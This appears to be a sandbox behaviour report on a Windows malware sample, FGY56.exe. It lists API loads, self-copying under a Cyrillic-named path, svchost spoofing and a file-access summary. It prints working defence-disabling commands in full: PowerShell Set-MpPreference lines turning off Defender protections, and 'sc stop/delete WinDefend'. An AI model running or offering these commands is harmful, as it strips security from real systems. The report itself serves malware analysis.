DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: mscoreei.dll/RegisterShimImplCallback
DynamicLoader: mscoreei.dll/RegisterShimImplCleanupCallback
DynamicLoader: mscoreei.dll/SetShellShimInstance
DynamicLoader: mscoreei.dll/OnShimDllMainCalled
DynamicLoader: mscoreei.dll/CorBindToRuntimeEx_RetAddr
DynamicLoader: mscoreei.dll/CorBindToRuntimeEx
DynamicLoader: SHLWAPI.dll/UrlIsW
DynamicLoader: kernel32.dll/GetCurrentPackageId
DynamicLoader: kernel32.dll/SetThreadUILanguage
DynamicLoader: kernel32.dll/CopyFileExW
DynamicLoader: kernel32.dll/IsDebuggerPresent
DynamicLoader: kernel32.dll/SetConsoleInputExeNameW
DynamicLoader: kernel32.dll/SortGetHandle
DynamicLoader: kernel32.dll/SortCloseHandle
DynamicLoader: cryptbase.dll/SystemFunction036
DynamicLoader: ole32.dll/CoCreateInstance
DynamicLoader: shell32.dll/
DynamicLoader: ole32.dll/CoGetApartmentType
DynamicLoader: ole32.dll/CoRegisterInitializeSpy
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: comctl32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: ole32.dll/CoGetMalloc
DynamicLoader: ole32.dll/CoInitializeEx
DynamicLoader: ole32.dll/CreateBindCtx
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ADVAPI32.dll/RegEnumKeyW
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ADVAPI32.dll/InitializeSecurityDescriptor
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_Size_ExW
DynamicLoader: ADVAPI32.dll/SetEntriesInAclW
DynamicLoader: ntmarta.dll/GetMartaExtensionInterface
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_ExW
DynamicLoader: ADVAPI32.dll/SetSecurityDescriptorDacl
DynamicLoader: comctl32.dll/
DynamicLoader: ADVAPI32.dll/IsTextUnicode
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: shell32.dll/
DynamicLoader: ole32.dll/CoUninitialize
DynamicLoader: ole32.dll/CoGetMalloc
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ntdll.dll/RtlDllShutdownInProgress
DynamicLoader: LINKINFO.dll/IsValidLinkInfo
DynamicLoader: propsys.dll/
DynamicLoader: propsys.dll/PSGetNameFromPropertyKey
DynamicLoader: propsys.dll/PSStringFromPropertyKey
DynamicLoader: propsys.dll/InitVariantFromBuffer
DynamicLoader: OLEAUT32.dll/
DynamicLoader: propsys.dll/PropVariantToGUID
DynamicLoader: ole32.dll/PropVariantClear
DynamicLoader: propsys.dll/PSCreateMemoryPropertyStore
DynamicLoader: sechost.dll/ConvertSidToStringSidW
DynamicLoader: profapi.dll/
DynamicLoader: LINKINFO.dll/CreateLinkInfoW
DynamicLoader: USER32.dll/IsCharAlphaW
DynamicLoader: USER32.dll/CharPrevW
DynamicLoader: ntshrui.dll/GetNetResourceFromLocalPathW
DynamicLoader: srvcli.dll/NetShareEnum
DynamicLoader: cscapi.dll/CscNetApiGetInterface
DynamicLoader: slc.dll/SLGetWindowsInformationDWORD
DynamicLoader: SHLWAPI.dll/PathRemoveFileSpecW
DynamicLoader: LINKINFO.dll/DestroyLinkInfo
DynamicLoader: propsys.dll/PropVariantToBoolean
DynamicLoader: CRYPTSP.dll/CryptAcquireContextW
DynamicLoader: CRYPTSP.dll/CryptGenRandom
DynamicLoader: CRYPTSP.dll/CryptReleaseContext
DynamicLoader: ADVAPI32.dll/GetSecurityInfo
DynamicLoader: ADVAPI32.dll/SetSecurityInfo
DynamicLoader: ADVAPI32.dll/GetSecurityDescriptorControl
DynamicLoader: ole32.dll/CoRevokeInitializeSpy
DynamicLoader: comctl32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryInfoKeyW
DynamicLoader: ADVAPI32.dll/RegEnumKeyExW
DynamicLoader: ADVAPI32.dll/RegEnumValueW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: mscoree.dll/
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: mscoreei.dll/RegisterShimImplCallback
DynamicLoader: mscoreei.dll/RegisterShimImplCleanupCallback
DynamicLoader: mscoreei.dll/SetShellShimInstance
DynamicLoader: mscoreei.dll/OnShimDllMainCalled
DynamicLoader: mscoreei.dll/CorBindToRuntimeEx_RetAddr
DynamicLoader: mscoreei.dll/CorBindToRuntimeEx
DynamicLoader: SHLWAPI.dll/UrlIsW
DynamicLoader: kernel32.dll/GetCurrentPackageId
DynamicLoader: kernel32.dll/SetThreadUILanguage
DynamicLoader: kernel32.dll/CopyFileExW
DynamicLoader: kernel32.dll/IsDebuggerPresent
DynamicLoader: kernel32.dll/SetConsoleInputExeNameW
DynamicLoader: kernel32.dll/SortGetHandle
DynamicLoader: kernel32.dll/SortCloseHandle
DynamicLoader: cryptbase.dll/SystemFunction036
DynamicLoader: ole32.dll/CoCreateInstance
DynamicLoader: shell32.dll/
DynamicLoader: ole32.dll/CoGetApartmentType
DynamicLoader: ole32.dll/CoRegisterInitializeSpy
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: comctl32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: ole32.dll/CoGetMalloc
DynamicLoader: ole32.dll/CoInitializeEx
DynamicLoader: ole32.dll/CreateBindCtx
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ADVAPI32.dll/RegEnumKeyW
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ADVAPI32.dll/InitializeSecurityDescriptor
DynamicLoader: ADVAPI32.dll/SetEntriesInAclW
DynamicLoader: ntmarta.dll/GetMartaExtensionInterface
DynamicLoader: ADVAPI32.dll/SetSecurityDescriptorDacl
DynamicLoader: ADVAPI32.dll/IsTextUnicode
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: shell32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ole32.dll/CoUninitialize
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_Size_ExW
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_ExW
DynamicLoader: ole32.dll/CoGetMalloc
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ntdll.dll/RtlDllShutdownInProgress
DynamicLoader: LINKINFO.dll/IsValidLinkInfo
DynamicLoader: propsys.dll/
DynamicLoader: propsys.dll/PSGetNameFromPropertyKey
DynamicLoader: propsys.dll/PSStringFromPropertyKey
DynamicLoader: propsys.dll/InitVariantFromBuffer
DynamicLoader: OLEAUT32.dll/
DynamicLoader: propsys.dll/PropVariantToGUID
DynamicLoader: ole32.dll/PropVariantClear
DynamicLoader: propsys.dll/PSCreateMemoryPropertyStore
DynamicLoader: sechost.dll/ConvertSidToStringSidW
DynamicLoader: profapi.dll/
DynamicLoader: LINKINFO.dll/CreateLinkInfoW
DynamicLoader: USER32.dll/IsCharAlphaW
DynamicLoader: USER32.dll/CharPrevW
DynamicLoader: ntshrui.dll/GetNetResourceFromLocalPathW
DynamicLoader: srvcli.dll/NetShareEnum
DynamicLoader: cscapi.dll/CscNetApiGetInterface
DynamicLoader: slc.dll/SLGetWindowsInformationDWORD
DynamicLoader: SHLWAPI.dll/PathRemoveFileSpecW
DynamicLoader: LINKINFO.dll/DestroyLinkInfo
DynamicLoader: propsys.dll/PropVariantToBoolean
DynamicLoader: CRYPTSP.dll/CryptAcquireContextW
DynamicLoader: CRYPTSP.dll/CryptGenRandom
DynamicLoader: CRYPTSP.dll/CryptReleaseContext
DynamicLoader: ADVAPI32.dll/GetSecurityInfo
DynamicLoader: ADVAPI32.dll/SetSecurityInfo
DynamicLoader: ADVAPI32.dll/GetSecurityDescriptorControl
DynamicLoader: ole32.dll/CoRevokeInitializeSpy
DynamicLoader: comctl32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryInfoKeyW
DynamicLoader: ADVAPI32.dll/RegEnumKeyExW
DynamicLoader: ADVAPI32.dll/RegEnumValueW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: mscoree.dll/
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: mscoreei.dll/RegisterShimImplCallback
DynamicLoader: mscoreei.dll/RegisterShimImplCleanupCallback
DynamicLoader: mscoreei.dll/SetShellShimInstance
DynamicLoader: mscoreei.dll/OnShimDllMainCalled
DynamicLoader: mscoreei.dll/CorBindToRuntimeEx_RetAddr
DynamicLoader: mscoreei.dll/CorBindToRuntimeEx
DynamicLoader: SHLWAPI.dll/UrlIsW
DynamicLoader: kernel32.dll/GetCurrentPackageId
DynamicLoader: cryptbase.dll/SystemFunction036
DynamicLoader: ole32.dll/CoCreateInstance
DynamicLoader: shell32.dll/
DynamicLoader: ole32.dll/CoGetApartmentType
DynamicLoader: ole32.dll/CoRegisterInitializeSpy
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: comctl32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: ole32.dll/CoGetMalloc
DynamicLoader: ole32.dll/CoInitializeEx
DynamicLoader: ole32.dll/CreateBindCtx
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ADVAPI32.dll/RegEnumKeyW
DynamicLoader: OLEAUT32.dll/
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_Size_ExW
DynamicLoader: ADVAPI32.dll/InitializeSecurityDescriptor
DynamicLoader: ADVAPI32.dll/SetEntriesInAclW
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_ExW
DynamicLoader: ntmarta.dll/GetMartaExtensionInterface
DynamicLoader: ADVAPI32.dll/SetSecurityDescriptorDacl
DynamicLoader: comctl32.dll/
DynamicLoader: ADVAPI32.dll/IsTextUnicode
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: shell32.dll/
DynamicLoader: ole32.dll/CoUninitialize
DynamicLoader: ole32.dll/CoGetMalloc
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ntdll.dll/RtlDllShutdownInProgress
DynamicLoader: LINKINFO.dll/IsValidLinkInfo
DynamicLoader: propsys.dll/
DynamicLoader: propsys.dll/PSGetNameFromPropertyKey
DynamicLoader: propsys.dll/PSStringFromPropertyKey
DynamicLoader: propsys.dll/InitVariantFromBuffer
DynamicLoader: OLEAUT32.dll/
DynamicLoader: propsys.dll/PropVariantToGUID
DynamicLoader: ole32.dll/PropVariantClear
DynamicLoader: propsys.dll/PSCreateMemoryPropertyStore
DynamicLoader: sechost.dll/ConvertSidToStringSidW
DynamicLoader: profapi.dll/
DynamicLoader: LINKINFO.dll/CreateLinkInfoW
DynamicLoader: USER32.dll/IsCharAlphaW
DynamicLoader: USER32.dll/CharPrevW
DynamicLoader: ntshrui.dll/GetNetResourceFromLocalPathW
DynamicLoader: srvcli.dll/NetShareEnum
DynamicLoader: cscapi.dll/CscNetApiGetInterface
DynamicLoader: slc.dll/SLGetWindowsInformationDWORD
DynamicLoader: SHLWAPI.dll/PathRemoveFileSpecW
DynamicLoader: LINKINFO.dll/DestroyLinkInfo
DynamicLoader: propsys.dll/PropVariantToBoolean
DynamicLoader: CRYPTSP.dll/CryptAcquireContextW
DynamicLoader: CRYPTSP.dll/CryptGenRandom
DynamicLoader: CRYPTSP.dll/CryptReleaseContext
DynamicLoader: ADVAPI32.dll/GetSecurityInfo
DynamicLoader: ADVAPI32.dll/SetSecurityInfo
DynamicLoader: ADVAPI32.dll/GetSecurityDescriptorControl
DynamicLoader: ole32.dll/CoRevokeInitializeSpy
DynamicLoader: comctl32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryInfoKeyW
DynamicLoader: ADVAPI32.dll/RegEnumKeyExW
DynamicLoader: ADVAPI32.dll/RegEnumValueW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: mscoree.dll/
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: mscoreei.dll/RegisterShimImplCallback
DynamicLoader: mscoreei.dll/RegisterShimImplCleanupCallback
DynamicLoader: mscoreei.dll/SetShellShimInstance
DynamicLoader: mscoreei.dll/OnShimDllMainCalled
DynamicLoader: mscoreei.dll/CorBindToRuntimeEx_RetAddr
DynamicLoader: mscoreei.dll/CorBindToRuntimeEx
DynamicLoader: SHLWAPI.dll/UrlIsW
DynamicLoader: kernel32.dll/GetCurrentPackageId
DynamicLoader: RPCRT4.dll/UuidFromStringW
DynamicLoader: RPCRT4.dll/RpcBindingCreateW
DynamicLoader: RPCRT4.dll/RpcBindingBind
DynamicLoader: sechost.dll/OpenSCManagerW
DynamicLoader: sechost.dll/OpenServiceW
DynamicLoader: sechost.dll/StartServiceW
DynamicLoader: sechost.dll/CloseServiceHandle
A process created a hidden window
Process: FGY56.exe -> C:\ProgramData\\xd0\x9e\xd0\x9b\xd0\xba\xd0\x90\xd0\xb5\xd1\x81\xd0\xbc\xd0\xab\xd1\x84\xd1\x86.exe
Process: ОЛкАесмЫфц.exe -> cmd.exe
Process: ОЛкАесмЫфц.exe -> cmd.exe
Process: ОЛкАесмЫфц.exe -> cmd.exe
Process: ОЛкАесмЫфц.exe -> cmd.exe
Process: ОЛкАесмЫфц.exe -> cmd.exe
Process: ОЛкАесмЫфц.exe -> cmd.exe
Process: ОЛкАесмЫфц.exe -> cmd.exe
Process: ОЛкАесмЫфц.exe -> cmd.exe
Process: ОЛкАесмЫфц.exe -> cmd.exe
Process: ОЛкАесмЫфц.exe -> cmd.exe
Process: ОЛкАесмЫфц.exe -> cmd.exe
Process: ОЛкАесмЫфц.exe -> cmd.exe
A scripting utility was executed
command: "C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
command: cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
command: "C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisableBehaviorMonitoring $true
command: cmd.exe /c powershell Set-MpPreference -DisableBehaviorMonitoring $true
command: "C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisableBlockAtFirstSeen $true
command: cmd.exe /c powershell Set-MpPreference -DisableBlockAtFirstSeen $true
command: "C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisableIOAVProtection $true
command: cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
command: "C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisablePrivacyMode $true
command: cmd.exe /c powershell Set-MpPreference -DisablePrivacyMode $true
command: "C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisableIntrusionPreventionSystem $true
command: cmd.exe /c powershell Set-MpPreference -DisableIntrusionPreventionSystem $true
command: "C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -SevereThreatDefaultAction 6
command: cmd.exe /c powershell Set-MpPreference -SevereThreatDefaultAction 6
command: "C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -LowThreatDefaultAction 6
command: cmd.exe /c powershell Set-MpPreference -LowThreatDefaultAction 6
command: "C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -ModerateThreatDefaultAction 6
command: cmd.exe /c powershell Set-MpPreference -ModerateThreatDefaultAction 6
command: "C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisableScriptScanning $true
command: cmd.exe /c powershell Set-MpPreference -DisableScriptScanning $true
command: powershell Set-MpPreference -DisableRealtimeMonitoring $true
command: powershell Set-MpPreference -DisableBehaviorMonitoring $true
command: powershell Set-MpPreference -DisableBlockAtFirstSeen $true
command: powershell Set-MpPreference -DisableIOAVProtection $true
command: powershell Set-MpPreference -DisablePrivacyMode $true
command: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true
command: powershell Set-MpPreference -SevereThreatDefaultAction 6
command: powershell Set-MpPreference -LowThreatDefaultAction 6
command: powershell Set-MpPreference -ModerateThreatDefaultAction 6
command: powershell Set-MpPreference -DisableScriptScanning $true
Uses Windows utilities for basic functionality
command: "C:\Windows\System32\cmd.exe" /c sc stop WinDefend
command: "C:\Windows\System32\cmd.exe" /c sc stop WinDefend
command: cmd.exe /c sc stop WinDefend
command: cmd.exe /c sc stop WinDefend
command: "C:\Windows\System32\cmd.exe" /c sc delete WinDefend
command: "C:\Windows\System32\cmd.exe" /c sc delete WinDefend
command: cmd.exe /c sc delete WinDefend
command: cmd.exe /c sc delete WinDefend
command: "C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
command: cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
command: "C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisableBehaviorMonitoring $true
command: cmd.exe /c powershell Set-MpPreference -DisableBehaviorMonitoring $true
command: "C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisableBlockAtFirstSeen $true
command: cmd.exe /c powershell Set-MpPreference -DisableBlockAtFirstSeen $true
command: "C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisableIOAVProtection $true
command: cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
command: "C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisablePrivacyMode $true
command: cmd.exe /c powershell Set-MpPreference -DisablePrivacyMode $true
command: "C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisableIntrusionPreventionSystem $true
command: cmd.exe /c powershell Set-MpPreference -DisableIntrusionPreventionSystem $true
command: "C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -SevereThreatDefaultAction 6
command: cmd.exe /c powershell Set-MpPreference -SevereThreatDefaultAction 6
command: "C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -LowThreatDefaultAction 6
command: cmd.exe /c powershell Set-MpPreference -LowThreatDefaultAction 6
command: "C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -ModerateThreatDefaultAction 6
command: cmd.exe /c powershell Set-MpPreference -ModerateThreatDefaultAction 6
command: "C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisableScriptScanning $true
command: cmd.exe /c powershell Set-MpPreference -DisableScriptScanning $true
command: sc stop WinDefend
command: sc delete WinDefend
Spoofs its process name and/or associated pathname to appear as a legitimate process
original_path: C:\Windows\system32\svchost.exe
original_name: svchost.exe
modified_name: svchost.exe
modified_path: C:\ProgramData\\xd0\x9e\xd0\x9b\xd0\xba\xd0\x90\xd0\xb5\xd1\x81\xd0\xbc\xd0\xab\xd1\x84\xd1\x86.exe
Creates a hidden or system file
file: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF185cbfe.TMP
file: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF185d513.TMP
file: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF185d976.TMP
file: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF185d3bc.TMP
file: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF185d83e.TMP
file: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF185d938.TMP
file: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF185dd4d.TMP
file: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF185dfad.TMP
file: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF185df40.TMP
Creates a copy of itself
copy: C:\ProgramData\\xd0\x9e\xd0\x9b\xd0\xba\xd0\x90\xd0\xb5\xd1\x81\xd0\xbc\xd0\xab\xd1\x84\xd1\x86.exe
Attempts to disable Windows Defender

Screenshots


Hosts

No hosts contacted.

DNS

No domains contacted.


Summary

C:\Users\user\AppData\Local\Temp\FGY56.exe
C:\ProgramData\\xd0\x9e\xd0\x9b\xd0\xba\xd0\x90\xd0\xb5\xd1\x81\xd0\xbc\xd0\xab\xd1\x84\xd1\x86.exe
\??\MountPointManager
C:\Users\user\AppData\Roaming\Microsoft
C:\Users\user\AppData\Roaming\Microsoft\Crypto
C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA
C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-120665959-548228820-2376508522-1001
C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-120665959-548228820-2376508522-1001\f58155b4b1d5a524ca0261c3ee99fb50_fb20aa52-1ec9-4d1f-b923-f6709499e604
C:\Users\user\AppData\Local\Temp
C:\Users
C:\Users\user
C:\Users\user\AppData
C:\Users\user\AppData\Local
C:\Users\user\AppData\Local\Temp\sc.*
C:\Users\user\AppData\Local\Temp\sc
C:\Windows\sysnative\sc.*
C:\Windows\sysnative\sc.COM
C:\Windows\sysnative\sc.exe
C:\Windows\Globalization\Sorting\sortdefault.nls
C:\Users\user\AppData\Local\Temp\powershell.*
C:\Users\user\AppData\Local\Temp\powershell
C:\Windows\sysnative\powershell.*
C:\Windows\sysnative\powershell
C:\Windows\powershell.*
C:\Windows\powershell
C:\Windows\sysnative\wbem\powershell.*
C:\Windows\sysnative\wbem\powershell
C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.*
C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.COM
C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe
C:\Windows
C:\Windows\sysnative
C:\Windows\sysnative\WindowsPowerShell\v1.0
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu
C:\
C:\Users\user\AppData\Local\Microsoft\Windows\Caches
C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.1.db
C:\Users\desktop.ini
C:\Users\user\AppData\Roaming
C:\Users\user\AppData\Roaming\Microsoft\desktop.ini
C:\Users\user\AppData\Roaming\Microsoft\Windows
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini
C:\Users\user\Desktop\desktop.ini
::\
::\{2559A1F3-21D7-11D4-BDAF-00C04F60B9F0}
::\{20D04FE0-3AEA-1069-A2D8-08002B30309D}
::\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}
::\{2559A1F1-21D7-11D4-BDAF-00C04F60B9F0}
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini
C:\ProgramData\Microsoft\Windows\Start Menu
C:\ProgramData
C:\ProgramData\Microsoft
C:\ProgramData\Microsoft\desktop.ini
C:\ProgramData\Microsoft\Windows
C:\ProgramData\Microsoft\Windows\Start Menu\desktop.ini
::\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}
C:\ProgramData\Microsoft\Windows\Start Menu\Programs
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\desktop.ini
C:\Users\user\Desktop
C:\Users\Public\Desktop
C:\Users\Public
C:\Users\Public\desktop.ini
C:\Users\Public\Desktop\desktop.ini
C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned
C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer
C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch
C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
C:\Users\user\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
C:\Windows\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk\desktop.ini
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Desktop.ini
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\desktop.ini
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
\??\PIPE\srvsvc
C:\DosDevices\pipe\
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\
C:\Windows\sysnative\windowspowershell\v1.0\powershell_ise.exe
C:\Windows\sysnative\windowspowershell
C:\Windows\sysnative\WindowsPowerShell
C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell_ise.exe
C:\Windows\sysnative\WindowsPowerShell\v1.0\
C:\Windows\hh.exe
C:\Windows\
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PNRC2BYVZB8CS6ZSKTE2.temp
C:\Windows\sysnative\mscoree.dll.local
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll
C:\Windows\Microsoft.NET\Framework64\*
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\clr.dll
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorwks.dll
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll
C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe.config
C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe.Local\
C:\Windows\winsxs\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_88df89932faf0bf6
C:\Windows\winsxs\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_88df89932faf0bf6\msvcr80.dll
C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000d.db
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1E26EKS5IPSFOESNL930.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF185cbfe.TMP
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\B8OEM69UENG4HGBVVQ7R.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF185d513.TMP
C:\Windows\SysWOW64\propsys.dll
C:\Windows\sysnative\propsys.dll
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\TT3E3RT2NYJ67V4GD3YY.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF185d976.TMP
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DC3ALVBRLQMLP4TZFP79.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF185d3bc.TMP
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\8CT7KWXU9XMKH99I7EKO.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF185d83e.TMP
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UGBSY238RMQMYQ4LVNUX.temp
